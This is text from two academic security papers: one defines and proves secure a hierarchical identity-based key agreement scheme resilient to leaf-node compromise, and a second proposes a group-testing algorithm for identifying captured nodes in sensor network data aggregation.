the value of the polynomial F (I1, J1, . . . , IL, JL) = F (J1, I1, . . . , JL, IL), that
each node can compute by evaluating its secret polynomial on the points that
correspond to its peer’s identity.

Blundo’s scheme provides information theoretic security for uncompromised
nodes in the following important way. We call a node compromised if the attacker
has learned all of the node’s secrets (i.e., all the coefficients of the polynomial
the node holds, and hence all of its descendants’ shared keys), otherwise we call
it uncompromised. Blundo’s scheme guarantees that the key shared between any
two uncompromised nodes is information theoretically secure, namely, all values
of the key are equally possibly given the attacker’s view.

Note that a node N in the hierarchy can be compromised (i.e., all its secrets
learned) by directly breaking into N and finding its secrets or by breaking into
other nodes from which the information in N can be reconstructed. For example,
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one can learn all of N ’s secrets by breaking into an ancestor of N or by breaking
into t+1 of its children (where t is the node’s threshold). Here, the word “secrets”
can refer to the coefficients of the polynomial held by a node N or, equivalently,
to the set of pairwise shared-keys known to N and its descendants (i.e., the set of
keys shared by these nodes with every other node in the hierarchy). In general,
since pairwise keys are derived by evaluating a polynomial, the knowledge of a
set of secrets (coefficients and/or pairwise keys) can allow an attacker to derive
the value of additional secrets. Given a set of secrets S, we say that a key
K (e.g., between parties I and J) is independent from S if no attacker (even if
computationally unbounded) can learn anything about K from the set S; we say
that a set of keys S is independent if each key in it is independent of the other
keys in the set. It can be shown that in a Blundo’s hierarchy with L + 1 levels
(with the root being at level 0 and the leaves at level L) and threshold ti at level i,
an attacker that wants to learn all the secrets of a node N in level � must learn (at
least) a set of T independent keys where T =

∏L
i=�+1

(ti+1)(ti+2)
2

∏�
i=1(ti + 1).

In particular, the attacker must learn at least this many number of keys (or
coefficients) in the system before it can learn all of N ’s secrets.4

2.4 Subset Based KAS

A different instantiation of our KAS uses subset-based key pre-distribution
schemes, which were first studied by Eschenauer and Gligor [7]. Roughly, in
this protocol the root authority chooses a large number of secret keys for its
key-ring, the key-ring of every node contains a random subset of these keys, and
the shared key for two nodes is computed from the intersection of the keys in
their respective key-rings.

Extending it to a hierarchical ID-based scheme is fairly straightforward: a
parent node in the tree gives to each child a random subset of its key-ring, and
that subset is computed deterministically from the child’s name (using a crypto-
graphic hash function). Such a hierarchical scheme was described by Ramkumar
et al. [13].

In a few more details, the scheme would work as follows:

– The parameters of the system are the number of keys at the root (de-
noted N), and for each level i in the tree a probability pi ∈ (0, 1) that
says what fraction of the key-ring of the parent is forwarded to the children.

– The root node chooses N secret keys at random for its key-ring. For our
purposes, we think of these keys as integers modulo a fixed large prime
number q.

– Let n = 〈I1, . . . , Ii〉 be an internal node at level i with key ring Rn =
{K1, K2, . . .}, and let c = 〈I1, . . . , Ii, Ii+1〉 be a child of n in the tree. The
node n uses a cryptographic hash function to derive a sequence of numbers
from the child’s name j, say by computing: rj ← H(c, j), where rj ’s are
numbers between 0 and 1. The child c gets all the keys Kj ∈ Rn for which
rj < pi. Namely, its key-ring is Rc = {Kj ∈ Rc : rj < pi}.

4 When all ti’s are equal to the same number t we have T = ( (t+1)(t+2)
2 )L−�(t + 1)�.



58 R. Gennaro et al.

– For two leaf nodes 〈I1, . . . , IL〉 and 〈J1, . . . , JL〉 the nodes repeat the hash
calculations from above to determine the intersection of their key rings, and
the shared key is computed (say) as the sum modulo q of all the keys in the
intersection.

It is not hard to show that in order to withstand up to ti compromised nodes at
level i, the optimal setting for the parameter pi is pi = 1/(ti+1). And given all the
ti’s and pi’s, the parameter N should be set large enough to ensure the required
level of security. Specifically, to ensure that an attacker that compromises up
to ti nodes in each level i will not have more than e−m probability of learning
the shared key between two specific uncompromised nodes, the parameter N
should be set to N =

⌈
m/

∏
i p2

i (1 − pi)ti
⌉

≈ meL ·
∏

i ti(ti +1). To ensure that
the attacker will have probability at most e−m to learn the key of any pair of
uncompromised nodes, we need to add to the number N above 2 logM where
M is the number of nodes in the system.

3 Our Fully Leaf-Resilient KAS

Our goal is to provide a hierarchical identity-based key agreement scheme that
is secure against compromise of any number of nodes at the lowest level of the
hierarchy. Namely, we consider a key-agreement scheme (KAS) in the form of a
tree-like hierarchy of authorities that issue keys to nodes lower in the hierarchy,
where any two leaf nodes can compute without interaction a shared key unique
to these two leaves. (That is, each leaf computes the shared key from its own
secret key, its peer’s identity, and potentially some other public information).

We want this hierarchy to be secure in the sense that an attacker that com-
promises some of the nodes in the hierarchy cannot learn the keys shared by
leaves that are not in the subtree of a compromised nodes. Typically, the above
guarantee of security will only hold as long as the attacker does not compromise
too many nodes, and we will extend this guarantee even in the face of unlimited
number of compromised leaves.

Technically, our scheme is a combination of linear hierarchical schemes (of
which the schemes from Sections 2.3 and 2.4 are special cases) with the identity-
based scheme of Sakai et al. that was described in Section 2.2. In the rest of
this section we formalize the linear requirement from the underlying hierarchical
KAS and then present our hybrid scheme.

Definition 1 (Linear Hierarchical KAS). A hierarchical key-agreement
scheme is called linear if it satisfies the following properties with respect to some
linear space V and an integer parameter N : (i) The root authority selects N
random elements from V to be used as the master secret keys. (ii) The secret
key of each node in the hierarchy consists of a set of values v1, v2, . . . ∈ V , each
of which is a linear combination (over V ) of the master secret keys. (iii) The
shared key between every two nodes is an element of V which is also a linear
combination over V of the master secret keys. (iv) The number of values vi in
each node and the coefficients in the linear combinations that determine these
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values are derived deterministically from public information such as the position
of a node in the hierarchy and its identity.

We note that in typical hierarchical schemes, an internal node will provide its
children with values that are linear combination of its own values (which thus
must be linear combinations of the master secret keys). This is indeed the case
for the two schemes from Sections 2.3 and 2.4.

3.1 A Leaf-Resilient Hybrid Hierarchical KAS

We now show how to combine a linear hierarchical KAS H with the bilinear
identity-based scheme of [14] (Section 2.2), resulting in a hybrid scheme, H′, that
is as resilient to attack on the internal nodes as H is, but which is fully resilient
against leaf compromise. Roughly, a leaf node with identity ID can compute the
shared key “in the exponent”, thereby obtaining the secret H(ID)s as needed
for the scheme of Sakai et al.

In more details, let H be an L-level linear hierarchical KAS, and we construct
an L + 1-level hybrid KAS H′ as follows:

– The root authority of H′ sets up and publishes the parameters for an identity
based public key system, by fixing two cyclic groups G1, G2 of order q and the
bilinear map e : G1 ×G1 → G2, as well as a hash function H : {0, 1}∗ → G1.
In addition, the root authority carries the same actions as the root authority
of H, where the linear space over which H is defined is set to Zq.

– For any internal node other than the root, a leaf or a parent of a leaf, all
actions are identical to the scheme H.

– A node F that is a parent of a leaf has secret values v1, . . . , vn ∈ Zq as in
H. For each child leaf � with identity ID�,5 the values that F provides to �
are the elements H(ID�))vi ∈ G1, i = 1, . . . , n.

– The shared key between leaf nodes �, �′ with identities ID, ID′ whose parents
are F, F ′, respectively, is computed as follows:
Let v1, . . . , vn be the secret key of F , and let α1, . . . , αn be the coefficients of
the linear combination that F would have used in H to compute a shared key
with F ′. (In other words, F would have computed the shared key with F ′ in
H as s =

∑
i αivi (mod q).) Recall that the secret key of � are the group

elements V1 = H(ID)v1 , . . . , Vn = H(ID)vn ∈ G1, and that the coefficients
αi can be computed from publicly available information. The leaf � computes

U1 ←
∏

i

V αi

i

(
= H(ID)

�
i αivi = H(ID)s

)
and U2 ← H(ID′), and sets the shared key to K ← e(U1, U2) = e(H(ID),
H(ID′))s. Similarly the leaf �′ with secret key V ′

1 , . . . , V ′
n′ determines the

coefficients β1, . . . , βn′ that F ′ would have used in H, then computes U ′
1 ←

H(ID) and U ′
2 ←

∏
i(V

′
i )βi and sets K ← e(U ′

1, U
′
2) = e(H(ID), H(ID′))s.

5 We assume that the identity includes the entire path from the root of the hierarchy
to the leaf, so no two leaves have the same identity.
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(For example, when applying this hybrid to the subset scheme from 2.4, the
two leaves will determine the set of indexes I for which they both received keys,
and then the leaf � will compute U1 ←

∏
i∈I Vi and the leaf �′ will compute

U ′
2 ←

∏
i∈I V ′

i .)

Security. A rigorous analysis and proof of the above generic hybrid scheme is
presented in Section 5. We first discuss practical implementation issues.

4 Implementation

There are many trade-offs that one can make when choosing a key-agreement
scheme for a particular application. Below we describe some of these trade-offs:

4.1 Setting the Thresholds

The complexity of the schemes that we present here depends on the product∏
i ti, so to get a realistic scheme one must choose the ti’s as small as the security

considerations allow. As was explained in the introduction, if the hierarchy is
expected to only have a very small branching factor (except for the leafs) then
one can set the ti’s to that expected branching factor. Otherwise, it sometimes
makes sense to assume that higher-level nodes are better protected than lower-
level nodes, and thus the thresholds ti should increase as we go down the tree.

Below we demonstrate the complexity that we get for two settings, both of
which correspond to a hierarchy that has two levels of intermediate nodes (i.e.,
the leaves are three levels below the root). The first setting is applicable to a
very small tree, where we set t1 = t2 = 3. The second setting is applicable to
large tree, where we use t1 = 7 and t2 = 31. The resulting key-sizes and number
of operations to compute the shared key are summarized in Table 1.

4.2 Polynomials vs. Subsets

The two underlying hierarchical schemes from Sections 2.3 and 2.4 offer quite
different characteristics. The main advantage of the polynomial scheme is that

Table 1. Performance characteristics of hierarchical schemes: Subset numbers are with
respect to security level e−20 ≈ 2 × 10−9. (Add’s and mult’s stand for ‘additions’ and
‘multiplications’, resp.).

Scheme: Polynomial scheme Subset scheme
Thresholds: t1 = t2 = 3 t1 = 7, t2 = 31 t1 = t2 = 3 t1 = 7, t2 = 31

Key-size
(# of group elements)

Root: 100
Leaves: 16

Root: 19008
Leaves: 256

Root: 28768
Leaves: 1800

Root: 8930800
Leaves: 35000

Shared key
Computation

1 pairing
16 EC mult’s

1 pairing
256 EC mult’s

1 pairing
450 EC add’s
1800 hashing

1 pairing
1100 EC add’s
35000 hashing
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the secret keys are considerably smaller: for the same setting of the thresholds,
the polynomial scheme has the leafs holding keys of size

∏
i(ti + 1) group el-

ements, and the root holding a key of size
∏

i
(ti+1)(ti+2)

2 (see Section 2.3). In
the subset scheme, on the other hand, the size of the keys at the root is larger
by roughly a factor of m(2e)L for security level of e−m (in the leaves the factor
is meL). In our examples with L = 2, and assuming m = 20 (which seems a
reasonable value), this means that the keys in the subset scheme are larger by
about two orders of magnitude.

On the other hand, computing the shared key between two leaves may be
faster using the subset construction. This is because in the polynomial scheme
the leaves have to do one elliptic-curve multiplication for every group element
in their key, whereas in the subset scheme they only need to do an elliptic-curve
addition for every element in the intersection of the two sets (which is a small
fraction of the entire key of each of them).

Another difference is the security behavior: the polynomial scheme ensures
security as long as the adversary does not exceed the threshold of nodes com-
promised, but can break completely once the threshold is exceeded. The subset
construction, on the other hand, provides a gradual degradation of security, with
the probability of a break monotonically increasing as the adversary compromises
more nodes.

Finally, we comment that one can also use hybrids between the two schemes,
such as using the subset construction on one level and the polynomial construc-
tion on the other. Such hybrids are discussed in the works of Du et al. [5] and
Liu and Ning [11].

4.3 Other Implementation Results

For lack of space we refer to the full version in [8] for a complete description of
our implementation results including details on how to choose the elliptic curves,
timing and memory requirements yielded by our experiments and the results of
a simulation in a specific MANET based on realistic military scenarios.

5 Security

The main result of this paper is to show that combining any secure linear scheme
with the Sakai et al. scheme as above, yields a secure scheme that is resilient
to compromise of arbitrarily many leaf nodes. We start by recalling the security
model for a hierarchical KAS.

5.1 Security Model for Hierarchical KAS

Setup. The KAS root chooses and publishes a set of public parameters for the
scheme. (These may include information about the maximal depth of the hier-
archy, number of nodes, security parameters, cryptographic functions, domain
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of keys, etc.). It also chooses at random the master secret keys and keeps them
secret.

Attacker. The attacker is given all public parameters of the system. It may
then perform two type of actions:

– Compromise: The attacker names a node and obtains all the secret values
held by the node.

– Test query: The attacker names two leaves and obtains a value z chosen as
follows: A bit σ is chosen at random in {0, 1}. If σ = 1 then the attacker
gets the secret key shared between the two leaves, and if σ = 0 it gets a key
chosen at random from the set of all possible shared keys.
We refer to the two leaves specified in the Test query as the target leaves,
and the value returned to the attacker is the target key.

The attacker ends its run by outputting a bit σ′ (which represents its guess of
the bit σ, i.e., whether the seen test key is real or random).

Informally, Definition 2 below states that the attacker is deemed successful if
the guess is correct, i.e., σ = σ′, and the scheme is deemed secure if no attacker
can succeed with probability much better than 1/2.

In some KAS schemes, including the ones presented here, a hash function
is used by the scheme which is modeled as a “random oracle” in the security
analysis. In this case, the attacker will issue an additional form of query, namely,
a random-oracle query on a given value for which it receives the result of applying
the random oracle on that value.

Attacker’s Compliance. A security model for a KAS sets some restrictions
on the attacker’s queries. For example, how many nodes it can compromise and
in what order. Typically, the restrictions will include a bound on the number of
compromised nodes in each level. It is also common to restrict the adaptiveness
of the queries. This may range from a fully non-adaptive strategy where the
attacker makes all its choices at the start of its run, to a fully-adaptive case
where each query can be decided by the attacker after seeing the responses to
previous queries.

Two restrictions that appear in every model are that (i) only one test query
is allowed to the attacker and (ii) neither of the leaves named in the test query
or any of their ancestors can be compromised. We will refer to an attacker that
follows the model’s restrictions as a compliant attacker. When talking about an
attack model for a specific KAS model M, we will refer to the attacker as M-
compliant.

Definition 2 (KAS-security). A hierarchical KAS is called secure for model
M if the KAS-advantage of any M-compliant attacker A is negligible, where
KAS-advantage is defined as:

| Pr[A outputs 1 | σ = 1]− Pr[A outputs 1 | σ = 0] |

where the probability is over the randomness of the scheme as well as the internal
randomness of A.
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Definition 3 (Ordered attacker). We say that an attacker against a hierar-
chical KAS is ordered if it uses all the Compromise queries for internal nodes
before any leaf Compromise. (Note that this constitutes a limitation on the adap-
tiveness of the attacker.)

5.2 Security of the Hybrid Scheme

In this security model we can prove that the hybrid scheme H′ is as resilient
to internal-node compromise as the original scheme H, and in addition H′ is
resilient to compromise of any number of leaf nodes. Note that the attacker
model for the hybrid scheme is the same as for any hierarchical KAS except that
now we have another level in the hierarchy, and we do not restrict the number
of compromised nodes in this level (as long as the attacker does not compromise
the test leaves). Below we denote by M the KAS model for the original scheme
H, and by M′ the KAS model for H′.

Theorem 1. Let G1, G2, e be two groups of order q and a bilinear mapping
that together satisfy the BDDH assumption; Let H be a linear hierarchical KAS
over GF (q) that is secure for model M; and let the hash function H used in
the bilinear scheme be modeled as a random oracle. Then, the resultant hybrid
scheme H′ is secure against any M′-compliant and ordered attacker.

The complete proof of this Theorem appears in the full version of this paper [8].
Here we briefly sketch an intuition of the proof.

We show a reduction from the security of our hybrid scheme H′ to the BDDH
assumption. Specifically, given any M′-compliant and ordered attacker A′ that
breaks the scheme H′ with some advantage, we build an attacker B that breaks
the BDDH assumption with essentially the same advantage. (Hence if the BDDH
assumption holds then A′ advantage must be negligible.)

We refer to B as “the simulator” (since it will try to simulate for A′ a run
of the system). B is initialized with the BDDH parameters 〈G1, G2, e〉 and the
points (P, Pa = P a, Pb = P b, Pc = P c, g) and it needs to decide if g = e(P, P )abc

or g = e(P, P )r. The idea of the proof is that B will embed its BDDH input into
the test query issued by A′ such that a successful distinction by A′ between a
real or random key in H′ implies an equally successful guess of the real/random
instance in the BDDH input.

6 Conclusions

In this paper we have proposed, and analyzed in detail, a hierarchical, non-
interactive key agreement protocol which is particularly suitable for use in mobile
and tactical networks, with an emphasis on being resilient to compromises of
arbitrary numbers of leaf nodes (which are considered the most vulnerable).
While the schemes are limited in their efficiency as the thresholds grow, this is
not an impediment for networks with the number of nodes and limited hierarchies
typically found, for example, in tactical networks. The proposed schemes are
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intended to minimize the communication complexity both in terms of the number
of bits transmitted and the number of protocol runs; the use of identity-based
schemes provides an implicit benefit since no directory look-up protocols or
related services are required. This benefits both the energy efficiency and also
the undetectability (based on RF emissions) of mobile nodes.
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Abstract. Current approaches to handling adversary attacks against
data aggregation in sensor networks either aim exclusively at the detec-
tion of aggregate data corruption or provide rather inefficient ways to
identify the nodes captured by an adversary. In contrast, we propose a
distributed algorithm for efficient identification of captured nodes over a
constant number of rounds, for an arbitrary number of captured nodes.
We formulate our problem as a combinatorial group testing problem and
show that this formulation leads not only to efficient identification of
captured nodes but also to a precise cost-based characterization of when
in-network aggregation retains its assumed benefits in a sensor network
operating under persistent attacks.

1 Introduction

Data aggregation is generally believed to be a fundamental communication prim-
itive in resource-constrained, wireless sensor networks. In principle, in-network
aggregation of sensor data can drastically reduce network communication. To
accomplish this, nodes are logically organized as a tree—called the “aggregation
tree”—that is rooted at a Base Station (BS). In response to BS queries, nodes
aggregate the critical data they receive from their descendents together with
their own data, and forward their partial aggregates to their ancestor nodes in
the aggregation tree.

Motivation. A significant risk of aggregation is that a node that is captured
by an adversary could report arbitrary values as its aggregation result, thereby
corrupting not only its own measurements but also that of all the nodes in
its entire aggregation sub-tree. As a consequence, an adversary who captures
nodes selectively and strategically (e.g., close to the BS) can corrupt the entire
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network aggregation process, while incurring minimal cost and effort. Therefore,
to achieve reliable aggregation, and, in particular, to assure the integrity of
aggregation process, it is important (i) to detect an adversary’s presence in the
network (i.e., by discovering aggregated-data corruption) and (ii) to identify and
remove (i.e., revoke [2]) the captured nodes which corrupt data aggregates.

Most recent work on secure data aggregation has focused exclusively on effi-
cient detection of integrity breach in the aggregation process (e.g., [9,3,14,10,7]).
While detection of integrity breach is the first necessary step to achieving secure
data aggregation, it does not provide a fully adequate response to malicious-node
behavior; i.e., detection of integrity breach alone does not unambiguously identify
and remove specific malicious nodes from the network. Exclusive reliance on de-
tection of corrupt aggregate results would leave the network unprotected against
repeated attacks that deny service to the BS. An effective approach to handling
this problem would (i) identify corrupted nodes and remove them from the aggre-
gation tree (e.g., by node revocation), and (ii) ensure continued, but gracefully
degraded aggregation services, even during an attack period. Identification and
removal of corrupted nodes has the added benefit of acting as a deterrent against
some potential adversaries who might avoid the risk of being identified.

Problem. We consider an aggregation scenario where a subset of nodes is cor-
rupted by an adversary. A corrupted node can (i) insert a false data into the
network or (ii) if it is an aggregating node, output a false aggregation result.
The goal of the corrupted node is to convince the base station to accept an in-
valid value. Since the network cannot protect against the insertion of incorrect
aggregation values without assuming specific distributions on the environmental
data [13,14], we simply assume that all valid sensor inputs r must be within a
given range r1 < r < r2. Our objective is to (i) detect an attack in the network,
(ii) identify malicious nodes, (iii) ensure graceful degradation of the aggregate
with respect to the number of corrupted nodes in the network, while retaining
the efficiency advantages of data aggregation.

A straight-forward method of achieving the first three stated objectives with-
out retaining in-network aggregation, henceforth called the baseline scheme,
would be to detect the presence of malicious behavior in the network [7,3],
and then require each node to directly transmit their data without aggrega-
tion along with a message authentication code (MAC) to the BS. By elimi-
nating in-network aggregation, we would trivially remove any attacks on the
aggregation process. The BS could then identify any malicious nodes that in-
ject false data by range testing the received data. If the corrupted nodes are
persistently malicious, the BS could identify all corrupted nodes. Furthermore,
the BS itself could reconstruct the network aggregate by disregarding the data
received from all malicious nodes and finally guarantee the correctness of the
reconstructed aggregate based on the security of the MAC protocol and data-
validity verification. Although the baseline scheme would satisfy the first three
objectives mentioned above, it would do so at the cost of removing in-network
data aggregation and its associated communication efficiency. For this reason,
we do not consider the baseline scheme to be a useful solution. Nevertheless,
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it constitutes a practical lower bound on the performance of any secure ag-
gregation solution satisfying our three objectives above. That is, an efficient
solution must have better performance than the baseline scheme; otherwise, the
baseline scheme becomes preferable, and the entire notion of in-network data
aggregation ceases to be useful, in hostile environments.

Related Work: In-network Aggregation. Chan et al. [3] propose a fully distributed
aggregation verification algorithm, called the Secure Hierarchical In-network Ag-
gregation (SHIA), which detects the existence of any misbehavior in the ag-
gregation process. The algorithm perfectly satisfies its objective as a detection
mechanism; however it is not intended to address our problem as it aims neither
at the identification and removal of adversary nodes nor at providing continu-
ous, but gracefully degraded, service under attack. Similarly, the work of Frikken
and Dougherty [7], which improves the performance of SHIA, aims only at the
detection of attacks against the aggregation process.

In contrast to SHIA, Hu and Evans [9] and Yang et al. [14] propose detection
algorithms that also allow identification of corrupted nodes. However because
both approaches use centralized verification, the incurred communication cost
approaches that of the baseline scheme—O(n) for a network of size n—when in-
network data aggregation ceases to be useful. In contrast, the cost of our scheme
is logarithmic in n.

Another solution which uses a centralized approach is proposed by Haghani
et al. [8] who extend SHIA. A corrupted node is detected via successive polling
of the layers of a commitment tree (generated during the aggregation process)
by the BS. Although this work is closest to ours in spirit, it differs in three fun-
damental ways. First, it incurs a high cost as it not only relies on centralized
identification but also each run of the algorithm identifies only one malicious
node at a time. In the worst case, to detect c malicious nodes in a network of
size n, O(nc) messages are generated per link. Second, the performance analysis
and adversary model presented [8] does not include a comparison with the base-
line scheme where identification of adversary nodes incurs a cost of only O(n).
Hence, it is unclear at what point the proposed scheme ceases to be useful and
the baseline scheme becomes preferable. Finally, Haghani et al. do not provide
network service during the period of the attack.

Related Work: Group Testing. The identification of corrupted nodes is directly
related to the problem of group testing, which strives to identify defective items
of a given set through a sequence of tests. Each test is performed on a subset
of all items and indicates whether the subset contains a defective item. In com-
binatorial group testing, it is assumed that the number of defectives in a set is
constant. This number can be either known or unknown at the time of testing.
Group testing is efficient when the number of defectives in a sample space is
small compared to the total number of samples [5]. This is an analogous setup
to untrusted sensor networks which are characterized as large, densely packed
network of sensor nodes.
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Our Contributions. We propose a divide-and-conquer approach to tracing and
removing malicious nodes from the network which achieves the three objectives
stated above. Briefly, our approach recursively (i) partitions suspicious subsets
of the network, (ii) runs a given ‘test’ in each partition to check the correctness
of the sub-aggregation values, (iii) if the result reveals possible node corrup-
tion, the set is tagged as suspicious; otherwise, it is considered to be good and
the associated sub-aggregate value is retained. Hence, our algorithm allows for
the incremental reconstruction of lost data from sub-aggregated value, over the
course of its execution. The algorithm terminates when it has isolated all the
malicious nodes in the network. The partition test is a primitive which we use
in secure aggregation. The identification algorithm is designed and optimized
with respect to the communication cost for an arbitrary number of malicious
nodes. We prove the correctness of the algorithm and evaluate its performance
using an analysis method inspired by the field of combinatorial group testing [5].
Our results illustrate the relationship between the efficiency of malicious-node
identification and the number and distribution of these nodes. In particular, we
define a precise cost-based threshold when in-network data aggregation ceases
to be useful in hostile environments.

2 Preliminaries

System Model. Consider a multihop network of untrusted sensor nodes and a
single trusted BS. The system administrator or user that resides outside the
network interacts with the network through the BS interface. For brevity, sub-
sequently we refer to any requests made by this external entity via the BS, as
simply requests by the BS. We assume that each sensor has a unique identifier
v and a unique secret key shared with the BS, Kv. The sensor network con-
tinuously monitors its environment and measures some environmental data. We
divide time into epochs; during each time epoch, the BS broadcasts a data re-
quest to the nodes in the network and nodes forward their data response back
to the BS. Data can be forwarded individually or as an aggregate.

We model node corruption in the network as a function of the number c and
the distribution of the corrupted nodes. Each sensor node v belongs either to the
good set G or the malicious or corrupted set M . A network instance is defined
as N = {∀v in network : v ∈ G ∨ v ∈ M} where |M | = c and G = N \M . The
collection of all N for a given c, constitutes a family of networks Nc.

For the purpose of computing the aggregate, we assume that the sensed en-
vironment (e.g., temperature) changes minimally with respect to the duration
of the identification algorithm. This is a practical assumption as once malicious
activity is detected, the identification algorithm is promptly executed. Moreover
the algorithm terminates after a small, constant number of rounds.

Adversary Model. We assume that the network is deployed in an adversarial
environment where the adversary can corrupt an arbitrary number of nodes.
Once a node is corrupted, the adversary has total control over the secret data
of the node as well as the subsequent behavior of the sensor node. We assume
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that a corrupted node persistently misbehaves by inducing the BS to accept an
‘illegal’ value. An illegal value is defined based on the adversary objectives which
is to induce the BS to accept a data value which is not already achievable by
direct data injection.

A direct data injection attack occurs when an adversary modifies the data
readings reported by the nodes under its direct control, under the constraint
that only legal readings in [r1, r2] are reported [3]. In the case of a single data
values, this means that the data value transmitted is outside the legal reading of
[r1, r2]. This is called a false data injection attack. In the case of data aggregation,
the objective of the adversary is to tamper with the aggregation process such
that the BS accepts an aggregation result which is not achievable by the direct
data injection. We refer to this type of attack as a false aggregation attack. An
aggregation protocol is considered secure if the adversary cannot successfully
launch such an attack [3].

Performance Measure. We use link cost as a metric to analyze our algorithm.
Link cost is defined as the total number of messages transmitted over a partic-
ular link in the network and is important as it determines how quickly nodes in
the network exhaust their energy supply. Such nodes are often core to the con-
nectivity or the functionality of the network and their loss can lead to network
partitioning or denial of service.

3 Identification Algorithm

The main objective of our algorithm is to recursively isolate the malicious nodes
in the network and thus render the adversary inoperative. The algorithm is ini-
tiated once misbehavior is detected in the network (e.g., via [3]) and is executed
over a number of rounds, following an intuitive divide-and-conquer approach. In

Fig. 1. Identification algorithm on an input of 12 nodes, m = 2
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each round the algorithm partitions the suspicious subsets of the network and
performs a partition test on the newly formed groups. The number of subsets a
suspicious group is partitioned into is called the partition degree. The partition
test consists of nodes aggregating their data and verifying the integrity of their
aggregation process. The test has two outputs: ‘pure’ if all the nodes in the par-
tition are good and ‘impure’ if there is at least one malicious node in the group.
The algorithm terminates when there are no remaining impure groups.

By distributing the localization of the malicious nodes, the scheme simply
keeps track of the lower bound on the number of malicious nodes in the network
and increases the bound only when the findings of the scheme up to that point
imply that this is valid.

Algorithm 1. Identification
Input: All the nodes in the network N ∈ Nc, partition degree m > 1, where integer m
is the number of partitions a group divides into in each iteration.
Output: A result set M of malicious nodes and a result set G of good nodes, such that
M ∪ G = N

Let t = 1 be the lower bound on the number of malicious nodes in the network and
S = ∪t

i=1Si denote the current set of suspicious nodes, S1 = N .
1. For j = 1, · · · , t, BS requests partition Sj to be divided into m disjoint partitions

(using partition rule viz. Algorithm 2). The collection of subdivided sets form the current
collection S. Set t to be the cardinality of set S.

2. For j = 1, · · · , t, if |Sj | > 1, the nodes in partition Sj partition themselves into
groups of size n

m
and execute partition test. BS verifies the purity of each partition.

3. The BS learns the status of each node for the following round (details are provided
in the next section). For j = 1, · · · , t, if Sj is pure (i.e., all the nodes are good), then
G = G ∪ Sj ; else if Sj is impure (i.e., there is at least one misbehaving node) and a
singleton set, then M = M ∪ Sj and decrement t. Adjust the indices of the remaining
sets, {Sj} appropriately, to include only sets that are impure and non-singleton. If
t > 0, go to step 1 (next round), else quit as all malicious nodes have been traced.

We can model the divide-and-conquer approach of Algorithm 1 as the pruning
process of an m-ary tree T where each tree vertex is associated with a partition
test. The root of tree T is associated with the input set N and each round i
is associated with level (i + 1) of the tree. This is because the identification
algorithm is initiated when misbehavior is detected in the network and therefore
the test at level 1 has been already executed. If a partition X is tested pure, then
all the descendants of the associated vertex are pruned; otherwise the set X is
re-partitioned. Fig. 1(b) presents an unpruned identification tree for a network
of 12 nodes and partition degree m = 2. Fig. 1(c) and (d) show how the tree can
be pruned when the network contains one and six corrupted nodes respectively.
Fig. 1(a) shows how the identification tree corresponds to the recursive isolation
of the captured nodes on the physical network.

Next we define a novel partition rule inspired by Du and Hwang [4]. This
algorithm partitions the network such that the identification tree contains at
most one incomplete subtree. Intuitively a complete tree of n nodes executes
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less or equal number of tests than an incomplete tree of n nodes as the complete
tree contains less vertices (where each vertex corresponds to one test).

Algorithm 2. Partitioning Rule
Input: Set X, maximum number of partitions m.
Output: Result sets {Xi}, such that ∪Xi = X.

Let i = 1 denote the new subset (Xi) to be determined.
1. Choose Xi to contain m�logm |X|�−1 nodes.
2. Update set X = X \ Xi to exclude the newly formed subset. If less than m subsets
are formed and X has more than m − 1 nodes, then increment i and go to Step 1.
Else if X is not a singleton set, increment i and add the remaining nodes in X to Xi.
Else if X is a singleton set, then X cannot be partitioned anymore.

3.1 Partition Test

The test that nodes perform in each newly formed partition is a fundamental
step in our algorithm. There are two types of tests depending if the partition is
a singleton or otherwise.

Tests for Non-singleton Partitions. In all non-singleton partitions (parti-
tions containing more than one node), data is aggregated and the partition leader
directly transmits the partition aggregate (via multi-hop) to the BS, which veri-
fies the integrity of the aggregation process and hence the integrity of the nodes
within that partition. In the general case, Algorithm 1 can be composed with
any aggregation-verification algorithm that does not depend on a fixed partition
and provides provable guarantees. Next we show how we can modify SHIA to
satisfy these conditions.

SHIA extends the aggregate-commit-prove framework of [10]. In the aggregate-
commit phase of the algorithm, a cryptographic commitment tree (hash tree) is
built based on the sensor readings and the aggregation process. This forces the
adversary to choose a fixed aggregation topology and set of aggregation results.
In the prove phase of the algorithm, each sensor independently verifies that the
final aggregate has incorporated its sensed reading correctly. Specifically each
sensor reconstructs the commitment structure and ensures that the adversary
has not modified or discarded the contributions of the node.

SHIA cannot be used as is because it assumes that the BS knows the exact
set of nodes which are alive and reachable. Instead, we propose a new algorithm
Group SHIA (GSHIA) which includes two additional properties. First, nodes can
organize themselves into groups of size g, where g is arbitrarily defined by the BS.
This can be easily achieved as the ‘delay aggregation’ approach of SHIA develops
an aggregation tree one node at a time. Since the root node of the aggregation
tree knows the size of its subtree, it can declare a partition complete when it has
g nodes or it cannot add any more nodes to its partition.

In GSHIA, the BS can also verify the integrity of the aggregation process for
a group of unknown size and membership set. This property can be implemented
through the use of a Bloom filter [1] that summarizes the membership informa-
tion of the partition. The BS then verifies the membership set by exhaustively
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searching through the possible nodes. The change we propose places most of the
membership resolution burden on the BS, which is generally assumed to be pow-
erful. However we can reduce the computation burden by noting that Algorithm 1
is nested (i.e., each new partition is a proper subset of an older impure partition)
and therefore the space of possible partitions in each round is reduced by a fac-
tor of m. Further improvements can be made if the BS knows the topology of the
network a priori, using efficient schemes such as [11]. For protocol details as well
as analysis and further improvement strategies, we refer the reader to [12].

An alternative approach to the above modification is to use the original SHIA
algorithm and make the additional assumption that the BS knows the topology
of the network prior to the detection period. The BS can then deterministically
partition the network for a given m and transmit this information to each sensor.
When an impure group is detected, nodes divide themselves according to the
specified partitioning. Although this method is simpler and more efficient, the
additional assumption is not always practical as sensor networks often have
dynamic topologies due to the short life span of the sensors.

Tests for Singleton Partitions. If a partition contains exactly one sensor
node, the node v transmits its measured data xv along with a MAC tag σv com-
puted using Kv. Upon receiving 〈v, xv , σv〉, the BS verifies the tag and ensures
that xv is valid. The BS assumes node v has misbehaved if xv is not in the
correct range but the tag verifies correctly.

3.2 Computing Aggregate

An important feature of our algorithm is that the network aggregate can tolerate
malicious nodes and in fact, the aggregate degrades gracefully with the attack. In
particular, dual to the intuition that the algorithm recursively isolates the cor-
rupted nodes, is that the algorithm also increasingly identifies the uncorrupted
nodes in the network. The BS can then use the data from the nodes determined
to be uncorrupted to reconstruct the network service.

Recall our assumption that the sensed environment of the network does not
change during the protocol execution. Thus we can improve the quality of the
network aggregate in each successive round by incorporating the aggregates of
newly found pure groups. Algorithm 3 shows how the aggregate is updated when
the aggregation function is sum. We can easily extend this to other low-order
statistics functions, such as min/max, averaging, etc.

